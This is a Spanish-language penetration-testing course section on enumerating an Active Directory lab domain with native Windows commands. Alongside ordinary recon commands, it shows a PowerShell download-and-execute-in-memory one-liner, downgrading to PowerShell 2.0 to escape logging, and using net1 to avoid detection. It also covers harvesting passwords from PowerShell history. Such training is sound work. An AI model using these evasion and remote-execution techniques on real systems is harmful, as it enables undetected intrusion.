Saltar a contenido

Living Off the Land

Earlier in the module, practicamos varias herramientas y técnicas (tanto con credenciales como sin credenciales) para enumerar el entorno AD. Estos métodos requerían que subiéramos o extrajéramos la herramienta al host inicial o tuviéramos un host de ataque dentro del entorno. Esta sección discutirá varias técnicas para utilizar herramientas nativas de Windows para realizar nuestra enumeración y luego practicarlas desde nuestro host de ataque en Windows.


Scenario

Supongamos que nuestro cliente nos ha pedido que probemos su entorno AD desde un host gestionado sin acceso a Internet y todos los esfuerzos para cargar herramientas en él han fallado. Nuestro cliente quiere ver qué tipos de enumeración son posibles, por lo que tendremos que recurrir a "living off the land" o solo usar herramientas y comandos nativos de Windows/Active Directory. Esto también puede ser un enfoque más sigiloso y puede no crear tantas entradas de registro y alertas como la extracción de herramientas en la red en secciones anteriores. La mayoría de los entornos empresariales hoy en día tienen alguna forma de monitoreo y registro de red, incluyendo IDS/IPS, firewalls y sensores pasivos y herramientas además de sus defensas basadas en host, como Windows Defender o EDR empresarial. Dependiendo del entorno, también pueden tener herramientas que toman una línea base del tráfico "normal" de la red y buscan anomalías. Debido a esto, nuestras posibilidades de ser detectados aumentan exponencialmente cuando comenzamos a extraer herramientas al entorno desde el exterior.


Env Commands For Host & Network Recon

Primero, cubriremos algunos comandos ambientales básicos que se pueden usar para darnos más información sobre el host en el que estamos.

Basic Enumeration Commands

Command Result
hostname Imprime el nombre de la PC
[System.Environment]::OSVersion.Version Imprime la versión y nivel de revisión del sistema operativo
wmic qfe get Caption,Description,HotFixID,InstalledOn Imprime los parches y hotfixes aplicados al host
ipconfig /all Imprime el estado del adaptador de red y las configuraciones
set Muestra una lista de variables de entorno para la sesión actual (ejecutado desde CMD-prompt)
echo %USERDOMAIN% Muestra el nombre del dominio al que pertenece el host (ejecutado desde CMD-prompt)
echo %logonserver% Imprime el nombre del controlador de dominio con el que el host se registra (ejecutado desde CMD-prompt)

Basic Enumeration

image

Los comandos anteriores nos darán una imagen inicial rápida del estado en el que se encuentra el host, así como alguna información básica de red y dominio. Podemos cubrir la información anterior con un solo comando: systeminfo.

Systeminfo

image

El comando systeminfo, como se ve arriba, imprimirá un resumen de la información del host para nosotros en una salida ordenada. Ejecutar un comando generará menos registros, lo que significa menos posibilidades de ser notados en el host por un defensor.


Harnessing PowerShell

PowerShell ha existido desde 2006 y proporciona a los administradores de sistemas de Windows un extenso marco para administrar todos los aspectos de los sistemas Windows y los entornos AD. Es un poderoso lenguaje de scripting y se puede usar para profundizar en los sistemas. PowerShell tiene muchas funciones y módulos integrados que podemos usar en un compromiso para reconocer el host y la red y enviar y recibir archivos.

Veamos algunas de las formas en que PowerShell puede ayudarnos.

Cmd-Let Description
Get-Module Lista los módulos disponibles cargados para su uso.
Get-ExecutionPolicy -List Imprimirá la configuración de la política de ejecución para cada ámbito en un host.
Set-ExecutionPolicy Bypass -Scope Process Esto cambiará la política para nuestro proceso actual usando el parámetro -Scope. Hacer esto revertirá la política una vez que abandonemos el proceso o lo terminemos. Esto es ideal porque no haremos un cambio permanente en el host víctima.
Get-Content C:\Users\<USERNAME>\AppData\Roaming\Microsoft\Windows\Powershell\PSReadline\ConsoleHost_history.txt Con este comando, podemos obtener el historial de PowerShell del usuario especificado. Esto puede ser bastante útil ya que el historial de comandos puede contener contraseñas o apuntarnos hacia archivos de configuración o scripts que contienen contraseñas.
Get-ChildItem Env: \| ft Key,Value Devuelve valores de entorno como rutas clave, usuarios, información del equipo, etc.
powershell -nop -c "iex(New-Object Net.WebClient).DownloadString('URL to download the file from'); <follow-on commands>" Esta es una forma rápida y fácil de descargar un archivo de la web usando PowerShell y llamarlo desde la memoria.

Veamoslos en acción ahora en el host MS01.

Quick Checks Using PowerShell

PS C:\htb> Get-Module

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Manifest   1.0.1.0    ActiveDirectory                     {Add-ADCentralAccessPolicyMember, Add-ADComputerServiceAcc...
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
Script     2.0.0      PSReadline                          {Get-PSReadLineKeyHandler, Get-PSReadLineOption, Remove-PS...

PS C:\htb> Get-ExecutionPolicy -List
Get-ExecutionPolicy -List

        Scope ExecutionPolicy
        ----- ---------------
MachinePolicy       Undefined
   UserPolicy       Undefined
      Process       Undefined
  CurrentUser       Undefined
 LocalMachine    RemoteSigned


PS C:\htb> whoami
nt authority\system

PS C:\htb> Get-ChildItem Env: | ft key,value

Get-ChildItem Env: | ft key,value

Key                     Value
---                     -----
ALLUSERSPROFILE         C:\ProgramData
APPDATA                 C:\Windows\system32\config\systemprofile\AppData\Roaming
CommonProgramFiles      C:\Program Files (x86)\Common Files
CommonProgramFiles(x86) C:\Program Files (x86)\Common Files
CommonProgramW6432      C:\Program Files\Common Files
COMPUTERNAME            ACADEMY-EA-MS01
ComSpec                 C:\Windows\system32\cmd.exe
DriverData              C:\Windows\System32\Drivers\DriverData
LOCALAPPDATA            C:\Windows\system32\config\systemprofile\AppData\Local
NUMBER_OF_PROCESSORS    4
OS                      Windows_NT
Path                    C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShel...
PATHEXT                 .COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC;.CPL
PROCESSOR_ARCHITECTURE  x86
PROCESSOR_ARCHITEW6432  AMD64
PROCESSOR_IDENTIFIER    AMD64 Family 23 Model 49 Stepping 0, AuthenticAMD
PROCESSOR_LEVEL         23
PROCESSOR_REVISION      3100
ProgramData             C:\ProgramData
ProgramFiles            C:\Program Files (x86)
ProgramFiles(x86)       C:\Program Files (x86)
ProgramW6432            C:\Program Files
PROMPT                  $P$G
PSModulePath            C:\Program Files\WindowsPowerShell\Modules;WindowsPowerShell\Modules;C:\Program Files (x86)\...
PUBLIC                  C:\Users\Public
SystemDrive             C:
SystemRoot              C:\Windows
TEMP                    C:\Windows\TEMP
TMP                     C:\Windows\TEMP
USERDOMAIN              INLANEFREIGHT
USERNAME                ACADEMY-EA-MS01$
USERPROFILE             C:\Windows\system32\config\systemprofile
windir                  C:\Windows

Hemos realizado la enumeración básica del host. Ahora, discutamos algunas tácticas de seguridad operativa.

Muchos defensores no son conscientes de que varias versiones de PowerShell a menudo existen en un host. Si no se desinstalan, aún se pueden usar. El registro de eventos de PowerShell se introdujo como una característica con PowerShell 3.0 en adelante. Con eso en mente, podemos intentar llamar a la versión 2.0 de PowerShell o una anterior. Si tiene éxito, nuestras acciones desde el shell no se registrarán en el Visor de Eventos. Esta es una excelente manera de permanecer bajo el radar de los defensores mientras utilizamos los recursos integrados en los hosts para nuestro beneficio. A continuación se muestra un ejemplo de cómo degradar PowerShell.

Downgrade PowerShell

PS C:\htb> Get-host

Name             : ConsoleHost
Version          : 5.1.19041.1320
InstanceId       : 18ee9fb4-ac42-4dfe-85b2-61687291bbfc
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : en-US
CurrentUICulture : en-US
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
DebuggerEnabled  : True
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace

PS C:\htb> powershell.exe -version 2
Windows PowerShell
Copyright (C) 2009 Microsoft Corporation. All rights reserved.

PS C:\htb> Get-host
Name             : ConsoleHost
Version          : 2.0
InstanceId       : 121b807c-6daa-4691-85ef-998ac137e469
UI               : System.Management.Automation.Internal.Host.InternalHostUserInterface
CurrentCulture   : en-US
CurrentUICulture : en-US
PrivateData      : Microsoft.PowerShell.ConsoleHost+ConsoleColorProxy
IsRunspacePushed : False
Runspace         : System.Management.Automation.Runspaces.LocalRunspace

PS C:\htb> get-module

ModuleType Version    Name                                ExportedCommands
---------- -------    ----                                ----------------
Script     0.0        chocolateyProfile                   {TabExpansion, Update-SessionEnvironment, refreshenv}
Manifest   3.1.0.0    Microsoft.PowerShell.Management     {Add-Computer, Add-Content, Checkpoint-Computer, Clear-Content...}
Manifest   3.1.0.0    Microsoft.PowerShell.Utility        {Add-Member, Add-Type, Clear-Variable, Compare-Object...}
Script     0.7.3.1    posh-git                            {Add-PoshGitToProfile, Add-SshKey, Enable-GitColors, Expand-GitCommand...}
Script     2.0.0      PSReadline                          {Get-PSReadLineKeyHandler, Get-PSReadLineOption, Remove-PSReadLineKeyHandler...

Ahora podemos ver que estamos ejecutando una versión anterior de PowerShell a partir de la salida anterior. Observe la diferencia en la versión informada. Valida que hemos degradado con éxito el shell. Verifiquemos y veamos si todavía estamos escribiendo registros. El lugar principal para buscar es en el PowerShell Operational Log que se encuentra en Applications and Services Logs > Microsoft > Windows > PowerShell > Operational. Todos los comandos ejecutados en nuestra sesión se registrarán en este archivo. El Windows PowerShell log ubicado en Applications and Services Logs > Windows PowerShell también es un buen lugar para verificar. Se hará una entrada aquí cuando iniciemos una instancia de PowerShell. En la imagen a continuación, podemos ver las entradas rojas hechas en el registro de la sesión actual de PowerShell y la salida de la última entrada hecha a las 2:12 pm cuando se realiza la degradación. Fue la última entrada ya que nuestra sesión se movió a una versión de PowerShell que ya no era capaz de registrar. Observe que ese evento corresponde con el último evento en las entradas del registro Windows PowerShell.

Examining the Powershell Event Log

text

Con Script Block Logging habilitado, podemos ver que cualquier cosa que escribamos en la terminal se envía a este registro. Si degradamos a PowerShell V2, esto ya no funcionará correctamente. Nuestras acciones posteriores estarán enmascaradas ya que Script Block Logging no funciona por debajo de PowerShell 3.0. Observe en los registros anteriores que podemos ver los comandos que emitimos durante una sesión de shell normal, pero se detuvo después de iniciar una nueva instancia de PowerShell en la versión 2. Tenga en cuenta que la acción de emitir el comando powershell.exe -version 2 dentro de la sesión de PowerShell se registrará. Por lo tanto, se dejará evidencia de que la degradación ocurrió, y un defensor sospechoso o vigilante puede comenzar una investigación después de ver esto y que los registros ya no se llenen para esa instancia. Podemos ver un ejemplo de esto en la imagen a continuación. Los elementos en el cuadro rojo son las entradas del registro antes de iniciar la nueva instancia, y la información en verde es el texto que muestra que se inició una nueva sesión de PowerShell en HostVersion 2.0.

Starting V2 Logs

text


Checking Defenses

Los siguientes comandos utilizan las utilidades netsh y sc para ayudarnos a comprender el estado del host en lo que respecta a la configuración del Firewall de Windows y para verificar el estado de Windows Defender.

Firewall Checks

PS C:\htb> netsh advfirewall show allprofiles

Domain Profile Settings:
----------------------------------------------------------------------
State                                 OFF
Firewall Policy                       BlockInbound,AllowOutbound
LocalFirewallRules                    N/A (GPO-store only)
LocalConSecRules                      N/A (GPO-store only)
InboundUserNotification               Disable
RemoteManagement                      Disable
UnicastResponseToMulticast            Enable

Logging:
LogAllowedConnections                 Disable
LogDroppedConnections                 Disable
FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize                           4096

Private Profile Settings:
----------------------------------------------------------------------
State                                 OFF
Firewall Policy                       BlockInbound,AllowOutbound
LocalFirewallRules                    N/A (GPO-store only)
LocalConSecRules                      N/A (GPO-store only)
InboundUserNotification               Disable
RemoteManagement                      Disable
UnicastResponseToMulticast            Enable

Logging:
LogAllowedConnections                 Disable
LogDroppedConnections                 Disable
FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize                           4096

Public Profile Settings:
----------------------------------------------------------------------
State                                 OFF
Firewall Policy                       BlockInbound,AllowOutbound
LocalFirewallRules                    N/A (GPO-store only)
LocalConSecRules                      N/A (GPO-store only)
InboundUserNotification               Disable
RemoteManagement                      Disable
UnicastResponseToMulticast            Enable

Logging:
LogAllowedConnections                 Disable
LogDroppedConnections                 Disable
FileName                              %systemroot%\system32\LogFiles\Firewall\pfirewall.log
MaxFileSize                           4096

Windows Defender Check (from CMD.exe)

C:\htb> sc query windefend

SERVICE_NAME: windefend
        TYPE               : 10  WIN32_OWN_PROCESS
        STATE              : 4  RUNNING
                                (STOPPABLE, NOT_PAUSABLE, ACCEPTS_SHUTDOWN)
        WIN32_EXIT_CODE    : 0  (0x0)
        SERVICE_EXIT_CODE  : 0  (0x0)
        CHECKPOINT         : 0x0
        WAIT_HINT          : 0x0

Arriba, verificamos si Defender estaba en funcionamiento. A continuación, verificaremos el estado y la configuración con el cmdlet Get-MpComputerStatus en PowerShell.

Get-MpComputerStatus

PS C:\htb> Get-MpComputerStatus

AMEngineVersion                  : 1.1.19000.8
AMProductVersion                 : 4.18.2202.4
AMRunningMode                    : Normal
AMServiceEnabled                 : True
AMServiceVersion                 : 4.18.2202.4
AntispywareEnabled               : True
AntispywareSignatureAge          : 0
AntispywareSignatureLastUpdated  : 3/21/2022 4:06:15 AM
AntispywareSignatureVersion      : 1.361.414.0
AntivirusEnabled                 : True
AntivirusSignatureAge            : 0
AntivirusSignatureLastUpdated    : 3/21/2022 4:06:16 AM
AntivirusSignatureVersion        : 1.361.414.0
BehaviorMonitorEnabled           : True
ComputerID                       : FDA97E38-1666-4534-98D4-943A9A871482
ComputerState                    : 0
DefenderSignaturesOutOfDate      : False
DeviceControlDefaultEnforcement  : Unknown
DeviceControlPoliciesLastUpdated : 3/20/2022 9:08:34 PM
DeviceControlState               : Disabled
FullScanAge                      : 4294967295
FullScanEndTime                  :
FullScanOverdue                  : False
FullScanRequired                 : False
FullScanSignatureVersion         :
FullScanStartTime                :
IoavProtectionEnabled            : True
IsTamperProtected                : True
IsVirtualMachine                 : False
LastFullScanSource               : 0
LastQuickScanSource              : 2

<SNIP>

Saber qué revisión tienen nuestras configuraciones de AV y qué configuraciones están habilitadas/deshabilitadas puede beneficiarnos enormemente. Podemos saber con qué frecuencia se ejecutan los análisis, si la alerta de amenaza bajo demanda está activa y más. Esta también es una gran información para reportar. A menudo, los defensores pueden pensar que ciertas configuraciones están habilitadas o que los análisis están programados para ejecutarse en ciertos intervalos. Si ese no es el caso, estos hallazgos pueden ayudarles a remediar esos problemas.


Am I Alone?

Cuando aterrizamos en un host por primera vez, una cosa importante es verificar y ver si somos los únicos conectados. Si comenzamos a tomar acciones desde un host en el que alguien más está, existe la posibilidad de que nos noten. Si se lanza una ventana emergente o un usuario cierra su sesión, pueden reportar estas acciones o cambiar su contraseña, y podríamos perder nuestro punto de apoyo.

Using qwinsta

PS C:\htb> qwinsta

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
>console           forend                    1  Active
 rdp-tcp                                 65536  Listen

Ahora que tenemos una idea sólida del estado de nuestro host, podemos enumerar la configuración de red de nuestro host e identificar cualquier máquina o servicio de dominio potencial que podamos querer apuntar a continuación.

Network Information

Networking Commands Description
arp -a Lista todos los hosts conocidos almacenados en la tabla arp.
ipconfig /all Imprime la configuración del adaptador para el host. Podemos averiguar el segmento de red desde aquí.
route print Muestra la tabla de enrutamiento (IPv4 & IPv6) identificando redes conocidas y rutas de capa tres compartidas con el host.
netsh advfirewall show state Muestra el estado del firewall del host. Podemos determinar si está activo y filtrando tráfico.

Comandos como ipconfig /all y systeminfo nos muestran algunas configuraciones básicas de red. Dos comandos más importantes nos proporcionan una gran cantidad de datos valiosos y podrían ayudarnos a avanzar en nuestro acceso. arp -a y route print nos mostrarán qué hosts conoce la caja en la que estamos y qué redes conoce el host. Cualquier red que aparezca en la tabla de enrutamiento son posibles avenidas para movimiento lateral porque se accede a ellas lo suficiente como para que se haya agregado una ruta, o se ha establecido administrativamente allí para que el host sepa cómo acceder a recursos en el dominio. Estos dos comandos pueden ser especialmente útiles en la fase de descubrimiento de una evaluación black box donde tenemos que limitar nuestro escaneo.

Using arp -a

PS C:\htb> arp -a

Interface: 172.16.5.25 --- 0x8
  Internet Address      Physical Address      Type
  172.16.5.5            00-50-56-b9-08-26     dynamic
  172.16.5.130          00-50-56-b9-f0-e1     dynamic
  172.16.5.240          00-50-56-b9-9d-66     dynamic
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static

Interface: 10.129.201.234 --- 0xc
  Internet Address      Physical Address      Type
  10.129.0.1            00-50-56-b9-b9-fc     dynamic
  10.129.202.29         00-50-56-b9-26-8d     dynamic
  10.129.255.255        ff-ff-ff-ff-ff-ff     static
  224.0.0.22            01-00-5e-00-00-16     static
  224.0.0.251           01-00-5e-00-00-fb     static
  224.0.0.252           01-00-5e-00-00-fc     static
  239.255.255.250       01-00-5e-7f-ff-fa     static
  255.255.255.255       ff-ff-ff-ff-ff-ff     static

Viewing the Routing Table

PS C:\htb> route print

===========================================================================
Interface List
  8...00 50 56 b9 9d d9 ......vmxnet3 Ethernet Adapter #2
 12...00 50 56 b9 de 92 ......vmxnet3 Ethernet Adapter
  1...........................Software Loopback Interface 1
===========================================================================

IPv4 Route Table
===========================================================================
Active Routes:
Network Destination        Netmask          Gateway       Interface  Metric
          0.0.0.0          0.0.0.0       172.16.5.1      172.16.5.25    261
          0.0.0.0          0.0.0.0       10.129.0.1   10.129.201.234     20
       10.129.0.0      255.255.0.0         On-link    10.129.201.234    266
   10.129.201.234  255.255.255.255         On-link    10.129.201.234    266
   10.129.255.255  255.255.255.255         On-link    10.129.201.234    266
        127.0.0.0        255.0.0.0         On-link         127.0.0.1    331
        127.0.0.1  255.255.255.255         On-link         127.0.0.1    331
  127.255.255.255  255.255.255.255         On-link         127.0.0.1    331
       172.16.4.0    255.255.254.0         On-link       172.16.5.25    261
      172.16.5.25  255.255.255.255         On-link       172.16.5.25    261
     172.16.5.255  255.255.255.255         On-link       172.16.5.25    261
        224.0.0.0        240.0.0.0         On-link         127.0.0.1    331
        224.0.0.0        240.0.0.0         On-link    10.129.201.234    266
        224.0.0.0        240.0.0.0         On-link       172.16.5.25    261
  255.255.255.255  255.255.255.255         On-link         127.0.0.1    331
  255.255.255.255  255.255.255.255         On-link    10.129.201.234    266
  255.255.255.255  255.255.255.255         On-link       172.16.5.25    261
  ===========================================================================
Persistent Routes:
  Network Address          Netmask  Gateway Address  Metric
          0.0.0.0          0.0.0.0       172.16.5.1  Default
===========================================================================

IPv6 Route Table
===========================================================================

<SNIP>

Usar arp -a y route print no solo beneficiará en la enumeración de entornos AD, sino que también nos ayudará a identificar oportunidades para pivotar a diferentes segmentos de red en cualquier entorno. Estos son comandos que deberíamos considerar usar en cada compromiso para ayudar a nuestros clientes a comprender a dónde puede intentar ir un atacante después de la penetración inicial.


Windows Management Instrumentation (WMI)

Windows Management Instrumentation (WMI) es un motor de scripting que se usa ampliamente dentro de los entornos empresariales de Windows para recuperar información y ejecutar tareas administrativas en hosts locales y remotos. Para nuestro uso, crearemos un informe WMI sobre usuarios de dominio, grupos, procesos y otra información de nuestro host y otros hosts de dominio.

Quick WMI checks

Command Description
wmic qfe get Caption,Description,HotFixID,InstalledOn Imprime el nivel de parche y descripción de los hotfixes aplicados
wmic computersystem get Name,Domain,Manufacturer,Model,Username,Roles /format:List Muestra información básica del host, incluyendo cualquier atributo dentro de la lista
wmic process list /format:list Un listado de todos los procesos en el host
wmic ntdomain list /format:list Muestra información sobre el Dominio y los Controladores de Dominio
wmic useraccount list /format:list Muestra información sobre todas las cuentas locales y cualquier cuenta de dominio que haya iniciado sesión en el dispositivo
wmic group list /format:list Información sobre todos los grupos locales
wmic sysaccount list /format:list Muestra información sobre cualquier cuenta del sistema que se esté utilizando como cuentas de servicio.

A continuación, podemos ver información sobre el dominio y el dominio hijo, y el bosque externo con el que nuestro dominio actual tiene una confianza. Este cheatsheet tiene algunos comandos útiles para consultar información del host y del dominio usando wmic.

PS C:\htb> wmic ntdomain get Caption,Description,DnsForestName,DomainName,DomainControllerAddress

Caption          Description      DnsForestName           DomainControllerAddress  DomainName
ACADEMY-EA-MS01  ACADEMY-EA-MS01
INLANEFREIGHT    INLANEFREIGHT    INLANEFREIGHT.LOCAL     \\172.16.5.5             INLANEFREIGHT
LOGISTICS        LOGISTICS        INLANEFREIGHT.LOCAL     \\172.16.5.240           LOGISTICS
FREIGHTLOGISTIC  FREIGHTLOGISTIC  FREIGHTLOGISTICS.LOCAL  \\172.16.5.238           FREIGHTLOGISTIC

WMI es un tema vasto, y sería imposible tocar todo lo que es capaz de hacer en una parte de una sección. Para más información sobre WMI y sus capacidades, consulte la documentación oficial de WMI.


Net Commands

Los Net comandos pueden ser beneficiosos para nosotros al intentar enumerar información del dominio. Estos comandos se pueden utilizar para consultar el host local y los hosts remotos, al igual que las capacidades proporcionadas por WMI. Podemos listar información como:

  • Usuarios locales y de dominio
  • Grupos
  • Hosts
  • Usuarios específicos en grupos
  • Controladores de dominio
  • Requisitos de contraseña

Cubriremos algunos ejemplos a continuación. Tenga en cuenta que los comandos net.exe son típicamente monitoreados por soluciones EDR y pueden revelar rápidamente nuestra ubicación si nuestra evaluación tiene un componente evasivo. Algunas organizaciones incluso configurarán sus herramientas de monitoreo para lanzar alertas si ciertos comandos son ejecutados por usuarios en OUs específicos, como la cuenta de un Asociado de Marketing ejecutando comandos como whoami, y net localgroup administrators, etc. Esto podría ser una señal de alerta obvia para cualquiera que esté monitoreando la red intensamente.

Table of Useful Net Commands

Command Description
net accounts Información sobre los requisitos de contraseña
net accounts /domain Política de contraseña y bloqueo
net group /domain Información sobre grupos de dominio
net group "Domain Admins" /domain Lista de usuarios con privilegios de administrador de dominio
net group "domain computers" /domain Lista de PCs conectados al dominio
net group "Domain Controllers" /domain Lista de cuentas de PC de los controladores de dominio
net group <domain_group_name> /domain Usuarios que pertenecen al grupo
net groups /domain Lista de grupos de dominio
net localgroup Todos los grupos disponibles
net localgroup administrators /domain Lista de usuarios que pertenecen al grupo de administradores dentro del dominio (el grupo Domain Admins está incluido aquí por defecto)
net localgroup Administrators Información sobre un grupo (administradores)
net localgroup administrators [username] /add Agregar usuario a administradores
net share Verificar las comparticiones actuales
net user <ACCOUNT_NAME> /domain Obtener información sobre un usuario dentro del dominio
net user /domain Lista de todos los usuarios del dominio
net user %username% Información sobre el usuario actual
net use x: \computer\share Montar la compartición localmente
net view Obtener una lista de computadoras
net view /all /domain[:domainname] Comparticiones en los dominios
net view \computer /ALL Lista de comparticiones de una computadora
net view /domain Lista de PCs del dominio

Listing Domain Groups

PS C:\htb> net group /domain

The request will be processed at a domain controller for domain INLANEFREIGHT.LOCAL.

Group Accounts for \\ACADEMY-EA-DC01.INLANEFREIGHT.LOCAL
-------------------------------------------------------------------------------
*$H25000-1RTRKC5S507F
*Accounting
*Barracuda_all_access
*Barracuda_facebook_access
*Barracuda_parked_sites
*Barracuda_youtube_exempt
*Billing
*Billing_users
*Calendar Access
*CEO
*CFO
*Cloneable Domain Controllers
*Collaboration_users
*Communications_users
*Compliance Management
*Computer Group Management
*Contractors
*CTO

<SNIP>

Podemos ver arriba que el comando net group nos proporcionó una lista de grupos dentro del dominio.

Information about a Domain User

PS C:\htb> net user /domain wrouse

The request will be processed at a domain controller for domain INLANEFREIGHT.LOCAL.

User name                    wrouse
Full Name                    Christopher Davis
Comment
User's comment
Country/region code          000 (System Default)
Account active               Yes
Account expires              Never

Password last set            10/27/2021 10:38:01 AM
Password expires             Never
Password changeable          10/28/2021 10:38:01 AM
Password required            Yes
User may change password     Yes

Workstations allowed         All
Logon script
User profile
Home directory
Last logon                   Never

Logon hours allowed          All

Local Group Memberships
Global Group memberships     *File Share G Drive   *File Share H Drive
                             *Warehouse            *Printer Access
                             *Domain Users         *VPN Users
                             *Shared Calendar Read
The command completed successfully.

Net Commands Trick

Si crees que los defensores de la red están registrando/observando activamente cualquier comando fuera de lo normal, puedes intentar este truco para usar comandos net. Escribir net1 en lugar de net ejecutará las mismas funciones sin el posible desencadenante del string net.

Running Net1 Command

image


Dsquery

Dsquery es una herramienta de línea de comandos útil que se puede utilizar para encontrar objetos en Active Directory.

Las consultas que ejecutamos con esta herramienta se pueden replicar fácilmente con herramientas como BloodHound y PowerView, pero es posible que no siempre tengamos esas herramientas a nuestra disposición, como se discutió al principio de la sección. Pero, es una herramienta probable que los administradores de sistemas de dominio estén utilizando en su entorno. Con esto en mente, dsquery existirá en cualquier host con el Active Directory Domain Services Role instalado, y el DLL dsquery existe en todos los sistemas Windows modernos por defecto ahora y se puede encontrar en C:\Windows\System32\dsquery.dll.

Dsquery DLL

Todo lo que necesitamos son privilegios elevados en un host o la capacidad de ejecutar una instancia de Command Prompt o PowerShell desde un contexto SYSTEM. A continuación, mostraremos la función de búsqueda básica con dsquery y algunos filtros de búsqueda útiles.

PS C:\htb> dsquery user

"CN=Administrator,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Guest,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=lab_adm,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=krbtgt,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Htb Student,CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Annie Vazquez,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Paul Falcon,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Fae Anthony,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Walter Dillard,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Louis Bradford,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Sonya Gage,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Alba Sanchez,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Daniel Branch,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Christopher Cruz,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Nicole Johnson,OU=Finance,OU=Financial-LON,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Mary Holliday,OU=Human Resources,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Michael Shoemaker,OU=Human Resources,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Arlene Slater,OU=Human Resources,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=Kelsey Prentiss,OU=Human Resources,OU=HQ-NYC,OU=Employees,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
PS C:\htb> dsquery computer

"CN=ACADEMY-EA-DC01,OU=Domain Controllers,DC=INLANEFREIGHT,DC=LOCAL"
"CN=ACADEMY-EA-MS01,OU=Web Servers,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=ACADEMY-EA-MX01,OU=Mail,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=SQL01,OU=SQL Servers,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=ILF-XRG,OU=Critical,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=MAINLON,OU=Critical,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=CISERVER,OU=Critical,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=INDEX-DEV-LON,OU=LON,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=SQL-0253,OU=SQL Servers,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=NYC-0615,OU=NYC,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=NYC-0616,OU=NYC,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=NYC-0617,OU=NYC,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=NYC-0618,OU=NYC,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=NYC-0619,OU=NYC,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=NYC-0620,OU=NYC,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=NYC-0621,OU=NYC,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=NYC-0622,OU=NYC,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=NYC-0623,OU=NYC,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=LON-0455,OU=LON,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=LON-0456,OU=LON,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=LON-0457,OU=LON,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"
"CN=LON-0458,OU=LON,OU=Servers,OU=Computers,OU=Corp,DC=INLANEFREIGHT,DC=LOCAL"

Podemos usar una dsquery wildcard search para ver todos los objetos en una OU, por ejemplo.

PS C:\htb> dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

"CN=Users,DC=INLANEFREIGHT,DC=LOCAL"
